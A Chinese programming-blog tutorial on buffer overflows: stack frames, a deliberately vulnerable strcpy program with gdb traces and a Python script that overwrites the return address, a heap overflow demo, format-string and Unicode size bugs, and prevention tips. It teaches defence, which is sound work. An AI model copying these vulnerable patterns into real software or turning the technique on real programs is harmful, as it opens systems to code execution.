缓冲区溢出(Buffer Overflow)_buffer over flow l-程序员宅基地

技术标签: c++  

堆栈溢出

堆栈溢出通常是所有的缓冲区溢出中最容易进行利用的。了解堆栈溢出之前,先了解以下几个概念:

  1. 缓冲区
    • 简单说来是一块连续的计算机内存区域,可以保存相同数据类型的多个实例。
  2. 堆栈
    • 堆 栈是一个在计算机科学中经常使用的抽象数据类型。堆栈中的物体具有一个特性:最后一个放入堆栈中的物体总是被最先拿出来,这个特性通常称为后进先出 (LIFO)队列。堆栈中定义了一些操作。两个最重要的是PUSH和POP。PUSH操作在堆栈的顶部加入一个元素。POP操作相反,在堆栈顶部移去一个 元素,并将堆栈的大小减一。
  3. 寄存器ESP、EBP、EIP
    1. CPU的ESP寄存器存放当前线程的栈顶指针,
    2. EBP寄存器中保存当前线程的栈底指针。
    3. CPU的EIP寄存器存放下一个CPU指令存放的内存地址,当CPU执行完当前的指令后,从EIP寄存器中读取下一条指令的内存地址,然后继续执行。

现 代计算机被设计成能够理解人们头脑中的高级语言。在使用高级语言构造程序时最重要的技术是过程(procedure)和函数(function)。从这一 点来看,一个过程调用可以象跳转(jump)命令那样改变程序的控制流程,但是与跳转不同的是,当工作完成时,函数把控制权返回给调用之后的语句或指令。 这种高级抽象实现起来要靠堆栈的帮助。堆栈也用于给函数中使用的局部变量动态分配空间,同样给函数传递参数和函数返回值也要用到堆栈。

堆栈由逻辑堆栈帧组成。当调用函数时逻辑堆栈帧被压入栈中,当函数返回时逻辑堆栈帧被从栈中弹出。堆栈帧包括函数的参数,函数地局部变量,以及恢复前一个堆栈帧所需要的数据,其中包括在函数调用时指令指针(IP)的值。

当一个例程被调用时所必须做的第一件事是保存前一个 FP(这样当例程退出时就可以恢复)。然后它把SP复制到FP,创建新的FP,把SP向前移动为局部变量保留空间。这称为例程的序幕(prolog)工 作。当例程退出时,堆栈必须被清除干净,这称为例程的收尾(epilog)工作。Intel的ENTER和LEAVE指令,Motorola的LINK和 UNLINK指令,都可以用于有效地序幕和收尾工作。

下面我们用一个简单的例子来展示堆栈的模样: example1.c:

void function(int a, int b, int c) {
   char buffer1[5];
   char buffer2[10];
}
void main() {
 function(1,2,3);
}

为了理解程序在调用function()时都做了哪些事情, 我们使用gcc的-S选项编译, 以产生汇编代码输出:

$ gcc -S -o example1.s example1.c

通过查看汇编语言输出, 我们看到对function()的调用被翻译成:

pushl $3
pushl $2
pushl $1
call function

 

以从后往前的顺序将function的三个参数压入栈中, 然后调用function(). 指令call会把指令指针(IP)也压入栈中. 我们把这被保存的IP称为返回地址(RET). 在函数中所做的第一件事情是例程的序幕工作:

pushl %ebp
movl %esp,%ebp
subl $20,%esp

 

将帧指针EBP压入栈中. 然后把当前的SP复制到EBP, 使其成为新的帧指针. 我们把这个被保存的FP叫做SFP. 接下来将SP的值减小, 为局部变量保留空间. 我 们必须牢记:内存只能以字为单位寻址. 在这里一个字是4个字节, 32位. 因此5字节的缓冲区会占用8个字节(2个字)的内存空间, 而10个字节的缓冲区会占用12个字节(3个字)的内存空间. 这就是为什么SP要减掉20的原因. 这样我们就可以想象function()被调用时堆栈的模样:

所以,从上图来看,假如我们输入的buffer1超长了,直接覆盖掉后面的sfp和ret,就可以修改该函数的返回地址了。下面来看一个示例吧。

示例

关于如何编写Shell Code,如何在内存中预先准备好一段危险的执行代码以及如何精确计算通过缓冲区溢出执行那段危险代码同时又让返回地址调回原来返回地址……这中间涉及太 多的底层汇编知识,小弟不才也只是走马观花,成不了真正的黑客高手。但从黑客朋友的水平之高看来,提高我们的代码安全性是非常必要的!

因此,在这个例子中,我们假设所谓的危险代码已经在 源代码中,即函数bar。函数foo是正常的函数,在main函数中被调用,执行了一段非常不安全的strcpy工作。利用不安全的strcpy,我们可 以传入一个超过缓冲区buf长度的字符串,执行拷贝后,缓冲区溢出,把ret返回地址修改成函数bar的地址,达到调用函数bar的目的。

#include <stdio.h>
#include <string.h>
void foo(const char* input)
{
        char buf[10];
        printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
        strcpy(buf, input);
        printf("buf = %s\n", buf);
        printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
}
void bar(void)
{
        printf("Augh! I've been hacked!\n");
}
int main(int argc, char* argv[])
{
        printf("Address of foo = %p\n", foo);
        printf("Address of bar = %p\n", bar);
        if (argc != 2)
        {
                printf("Please supply a string as an argument!\n");
                return -1;
        }
        foo(argv[1]);
        printf("Exit!\n");
        return 0;
}

 

用GCC编译上面的程序,同时注意关闭Buffer Overflow Protect开关:

gcc -g -fno-stack-protector test.c -o test

 

为了找出返回地址,我用gdb调试上面编译出来的程序。

//(前面启动gdb,设置参数和断点的步骤省略……)
(gdb) r
Starting program: /media/Personal/MyProject/C/StackOver/test abc
Address of foo = 0x80483d4           //函数foo的地址
Address of bar = 0x8048419           //函数bar的地址

Breakpoint 1, main (argc=2, argv=0xbfe5ab24) at test.c:24
24              foo(argv[1]);
//在调用foo函数前,我们查看ebp值
(gdb) info registers ebp
ebp            0xbfe5aa88       0xbfe5aa88             //ebp值为0xbfe5aa88
(gdb) n

Breakpoint 2, foo (input=0xbfe5c652 "abc") at test.c:4
4       {
(gdb) n
6               printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
//执行到foo后,我们再查看ebp值
(gdb) info registers ebp
ebp            0xbfe5aa68       0xbfe5aa68             //ebp值变成了0xbfe5aa68
//我们来查看一下地址0xbfe5aa68究竟是啥东东:
(gdb) x/ 0xbfe5aa68
0xbfe5aa68:     0xbfe5aa88                    //原来地址0xbfe5aa68存放的居然是我们之前的ebp值,其实豁然开朗了,因为这是执行了push %ebp后将之前的ebp保存起来了,和前面说的居然是一样的!
(gdb) n
My stack looks like:
0xb7ee04e0
0x8048616
0xbfe5aa74
0xbfe5aa74
0xb7edfff4
0xbfe5aa88              //看,在代码中输入堆栈信息中也出现了熟悉的0xbfe5aa88,因此可以断定该处为保存的上一级的ebp值。对应上上面那个图中的sfp。
0x8048499               //假如0xbfe5aa88就是sfp的话,那0x8048499应该就是ret(返回地址)了,下面来验证一下

7               strcpy(buf, input);
//查看0x8048499里面是什么东东
(gdb) x/i 0x8048499
0x8048499 <main+108>:   movl   $0x8048653,(%esp)                      //这句代码是main函数中的代码,正是我们执行完foo函数后的下一个地址。不信,看看main的assemble:
(gdb) disassemble main
Dump of assembler code for function main:
0x0804842d <main+0>:    lea    0x4(%esp),%ecx
0x08048431 <main+4>:    and    $0xfffffff0,%esp
0x08048434 <main+7>:    pushl -0x4(%ecx)
0x08048437 <main+10>:   push   %ebp
//(中间省略……)
0x08048494 <main+103>: call   0x80483d4 <foo>
0x08048499 <main+108>: movl   $0x8048653,(%esp)                //就是这里了!哈
0x080484a0 <main+115>: call   0x8048340 <puts@plt>

 

因此,我们只要输入一个超长的字符串,覆盖掉0x08048499,变成bar的函数地址0x8048419,就达到了调用bar函数的目的。为了将0x8048419这样的东西输入到应用程序,我们需要借助于Perl或Python脚本,如下面的Python脚本:

import os
arg = 'ABCDEFGHIJKLMN' + '"x19"x84"x04"x08'
cmd = './test ' + arg
os.system(cmd)

 

注意上面的08 04 84 19要两个两个反着写。执行一下:

$python hack.py 
Address of foo = 0x80483d4
Address of bar = 0x8048419       //bar的函数地址
My stack looks like:
0xb7fc24e0
0x8048616
0xbf832484
0xbf832484
0xb7fc1ff4
0xbf832498
0x8048499            //strcpy前函数返回地址0x8048499

buf = ABCDEFGHIJKLMN�
Now the stack looks like:
0xbf83246e
0x8048616
0x42412484
0x46454443
0x4a494847
0x4e4d4c4b
0x8048419           //瞧,返回地址被修改为了我们想要的bar的函数地址0x8048419 

Augh! I've been hacked!        //哈哈!bar函数果然被执行了!

 

堆溢出及其他溢出

 

堆溢出

堆是内存的一个区域,它 被应用程序利用并在运行时被动态分配。堆内存与堆栈内存的不同在于它在函数之间更持久稳固。这意味着分配给一个函数的内存会持续保持分配直到完全被释放为 止。这说明一个堆溢出可能发生了但却没被注意到,直到该内存段在后面被使用。这里只是简单了解一下,下面看一个最简单的堆溢出例子:

/*heap1.c – 最简单的堆溢出*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
        char *input = malloc(20);
        char *output = malloc(20);
        strcpy(output, "normal output");
        strcpy(input, argv[1]);
        printf("input at %p: %s\n", input, input);
        printf("output at %p: %s\n", output, output);
        printf("\n\n%s\n", output);
}

 

我们来看执行结果:

[root@localhost]# ./heap1 hackshacksuselessdata
input at 0x8049728: hackshacksuselessdata
output at 0x8049740: normal output

normal output
[root@localhost]# ./heap1 hacks1hacks2hacks3hacks4hacks5hacks6hacks7hackshackshackshackshackshackshacks
input     at 0x8049728: hacks1hacks2hacks3hacks4hacks5hacks6hacks7hackshackshackshackshackshackshacks
output    at 0x8049740: hackshackshackshacks5hacks6hacks7

hackshacks5hackshacks6hackshacks7
[root@localhost]# ./heap1 "hackshacks1hackshacks2hackshacks3hackshacks4what have I done?"
input at 0x8049728: hackshacks1hackshacks2hackshacks3hackshacks4what have I done?
output at 0x8049740: what have I done?       //我们看到,output变成了what have I done?

what have I done?
[root@localhost]#

 

我们来看看是如何溢出的:

 

格式化字符串错误

这类错误是指使用printf,sprintf,fprint等函数时,没有使用格式化字符串,比如:正确用法是:

printf("%s", input)

 

如果直接写成:

printf(input)

 

将会出现漏洞,当input输入一些非法制造的字符时,内存将有可能被改写,执行一些非法指令。

Unicode和ANSI缓冲区大小不匹配

我们经常碰到需要在Unicode和ANSI之间互相转换,绝大多数Unicode函数按照宽字符格式(双字节)大小,而不是按照字节大小来计算缓冲区大小,因此,转换的时候不注意的话就可能会造成溢出。比如最常受到攻击的函数是MultiByteToWideChar,看下面的代码:

BOOL GetName(char *szName)
{
    WCHAR wszUserName[256];
    // Convert ANSI name to Unicode.
    MultiByteToWideChar(CP_ACP, 0,
                                       szName,
                                       -1,
                                       wszUserName,
                                       sizeof(wszUserName));     //问题出在这个参数上,sizeof(wszUserName)将会等于2*256=512个字节
}

 

wszUserName是宽字符的,因此,sizeof(wszUserName)将会是256*2个字节,因此存在潜在的缓冲区溢出问题。正确的写法应该是这样的:

MultiByteToWideChar(CP_ACP, 0,
                                   szName,
                                   -1,
                                   wszUserName,
                                   sizeof(wszUserName) / sizeof(wszUserName[0]));

 

曾真实出现的Internet打印协议缓冲区溢出就是由于此类问题导致的。

预防和发现问题

 

不安全的函数

避免使用不安全的字符串处理函数,比如使用安全的函数代替:

不安全的函数

安全函数

strcpy

strncpy

strcat

strncat

sprintf

_snprintf

gets

fgets

 

Visual C++ NET的/GS选项

/GS选项能够阻止堆栈的破坏,保证堆栈的完整性,但是不能完全防止缓冲区溢出问题,比如,对于堆溢出,/GS是无能为力的。

源代码扫描

最简单的源代码扫描:

grep strcpy *.c

然后就是一些开源的或是商业的源代码扫描工具了。

工具

  • 源代码工具包含ApplicationDefense、SPLINT、ITS4和Flawfinder。

  • 二进制工具包含各种fuzzing工具包和静态分析程序,例如Bugscan。

 

参考资料

  1. Michael Howard, David LeBlanc. "Writing Secure Code"

  2. Mike Andrews, James A. Whittaker "How to Break Web Software" 
     
  3. http://book.csdn.net/bookfiles/228/index.html

  4. 缓冲区溢出的原理和实践(Phrack)
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/laikaikai/article/details/86472603

智能推荐

鲲鹏弹性云服务器型号,鲲鹏弹性云服务器型号-程序员宅基地

文章浏览阅读238次。鲲鹏弹性云服务器型号 内容精选换一换弹性云服务器(Elastic Cloud Server)是一种可随时自动获取、计算能力可弹性伸缩的云服务器,可帮助您打造可靠、安全、灵活、高效的应用环境,确保服务持久稳定运行,提升运维效率。公有云平台支持弹性云服务器在专属主机与公共资源池之间迁移,具体包括:将创建在专属主机上的弹性云服务器迁移至其他专属主机。将创建在专属主机上的弹性云服务器迁移至公共资源池,即不..._以下哪种是鲲鹏通用增强型弹性云服务器

Springboot 超简单实现在线预览,Word文档 doc、xlsx、pdf、txt等_springboot在线预览word-程序员宅基地

文章浏览阅读1.6w次,点赞21次,收藏124次。前言PDF、TXT 只要资源可访问,根本就不需要进行任何处理,直接访问查看就完事了。也是因为这个PDF可以直接查看(现在浏览器基本支持了),那么我们实现Word文档在线预览,其实也是 把WORD文档 复制一份生成一份供预览的 PDF文件而已。先看看效果:正文这篇实例,实现在线预览WORD文档,分两步:一. 安装OpenOffice二.写点小代码一.安装OpenOffice不要看到安装东西就觉得麻烦,因为这个安装不需要做任何配置,你只需要..._springboot在线预览word

史上最强 Java 学习路线图!_java自学路线图(超全超详细)-程序员宅基地

文章浏览阅读10w+次,点赞3.1k次,收藏2.3w次。网上看到一首诗:“代码尽头谁为峰,一见秃头道成空。编程修真路破折,一步一劫渡飞升。”感觉还挺有意境的。第一部分:Java 基础篇这个阶段就是编程入门,掌握 Java 这门编程语言的基本语法,为后面的修行之路打好基础。包括的知识点有:环境搭建——Intellij IDEA 一站式搞定Java 基础语法面向对象——封装、继承、多态数组字符串集合框架IO反射注解网络编程并发编程这方面的资源我给大家梳理下:1)针对 Intellij IDEA,GitHub 上有一份简体中文版教_java自学路线图(超全超详细)

配置Vite获取内网IP(Vue3项目​ts版本获取本机局域网IP地址)_vue3 获取客户端ip地址 ipv4 ipv6-程序员宅基地

文章浏览阅读2.2k次。2.替换为你实际想要设置的基础IP地址,确保这是一个字符串。3.确保端口号配置正确,可以根据你的需求进行更改。接着保存文件。并且重新启动你的 Vite 项目。确保在重新启动后,新的配置生效。现在,import.meta.env.BASE_IP能够在项目中被正确访问,包含你在中设置的值。_vue3 获取客户端ip地址 ipv4 ipv6

谷歌账号注册流程全攻略-程序员宅基地

文章浏览阅读2.5w次,点赞2次,收藏16次。首先,你需要访问谷歌账号注册页面。你可以直接点击,或者在谷歌首页点击右上角的“登录”按钮,在弹出的登录框中点击“创建帐号”。_谷歌账号注册

计算机数据采集管理系统的结构和功能,计算机数据采集系统简介-程序员宅基地

文章浏览阅读7.2k次。从广义上讲它应该称为计算机监视系统(MCS),习惯上称为数据采集系统(DAS)。 所谓计算机数据采集系统,是以计算机为核心对生产过程进行全工况开环监视的系统,是发 电机组起停、.正常运行和事故工况下的主要监视手段。采用计算机对机组的现场信号进行数 据采集,利用计算机强大的计算和逻辑分析能力实现对机组的监视、提示、记录等,可以为 运行操作提供指导,提高机组安全、经济运行水平。一、数据采集系统的发展概..._计算机数据采集、通信及分析系统。上位机负责向下位机下达命令,并对下位机采集的

随便推点

微信8.0.6内测版本更新啦,这次又“炸”了(附内测地址)-程序员宅基地

文章浏览阅读2.9k次。哈喽大家好,我是程序员双木L,不定时给大家带来各种好玩且有趣的功能!iOS微信8.0.6正式版已经发布,很多安卓微信用户就吐槽:iOS都8.0.6版本了,安卓咋还一直停留在8.0.3版本呢?最近,微信团队直接跳过了安卓微信8.0.4和8.0.5,直接发布了8.0.6测试版,这下终于跟iOS版本同步了微信团队的更新说明只是说了"解决了一些已知问题",下面就让小编带领大家看看有哪些变化吧:1、新版拍一拍可以设置使用动效表情我觉得最有意思的更新是:拍一拍支持添加表情啦,只需在拍一拍后缀加入炸弹、庆祝、烟_微信8.0.6

小程序swiper组件的bindchange方法重复执行问题(解决真机无限滑动问题)_swiper bindchange-程序员宅基地

文章浏览阅读1k次。修正方法<swiperautoplay="{{autoplay}}"interval="{{interval}}"duration="{{duration}}"bindchange="swiperChange"current="{{current}}">swiperChange(e){ let current = e.detail.current; let source = e.detail.source //console.log(source); _swiper bindchange

Linux软件安装到哪个目录_linux软件安装在哪个目录-程序员宅基地

文章浏览阅读1w次,点赞10次,收藏62次。软件安装:usr:系统级目录。可理解为C:Windows/,usr/lib:可理解为C:Windows/System32。usr/loc:用户级的程序目录。可理解为C:/Progrem Files/。用户自己编译的软件默认安装到这里。/opt:用户级的程序目录,可理解为D:/Software,opt用于放置第三方大型软件,当不需要时,直接rm-f即可。当硬盘容量不够时,也可将opt单独挂载到其他磁盘上使用。源码:usr/src:系统级源码目录。usr/local/src:用户级源码目录。常用目录及_linux软件安装在哪个目录

哈工大本部2023编译系统、编译原理期末试题回忆版_哈工大编译原理期末试题-程序员宅基地

文章浏览阅读634次,点赞5次,收藏22次。哈工大本部2023编译系统/编译原理期末考试回忆题_哈工大编译原理期末试题

Unity实现脱屏提示_unity offsreen-程序员宅基地

文章浏览阅读1.4k次。先看效果图再贴代码using System.Collections;using UnityEngine;using Joker.ResourceManager;using PalmPoineer.Mobile;using UnityEngine.UI;namespace Joker.Battle { public enum EOutScreenGuiderType {_unity offsreen

K近邻——KNN_kneighborsclassifier需要遍历所有样本吗-程序员宅基地

文章浏览阅读482次。KNN(emmmmm……..原计划要写的支持向量机,感觉内容有点多,先写个KNN过度一下吧,以后一定会补上的!)k近邻,简称kNN,全称k-Nearest Neighbor,是机器学习算法中最简单的算法之一。其基本原理是:根据与待测样本最近的k个邻居的标签来判断待测样本的标签,是一种监督学习方法。简单来说就是“物以类聚,人以群分”、“近朱者赤,近墨者黑”。这种算法严格来说甚至是不需要去..._kneighborsclassifier需要遍历所有样本吗

推荐文章

热门文章

相关标签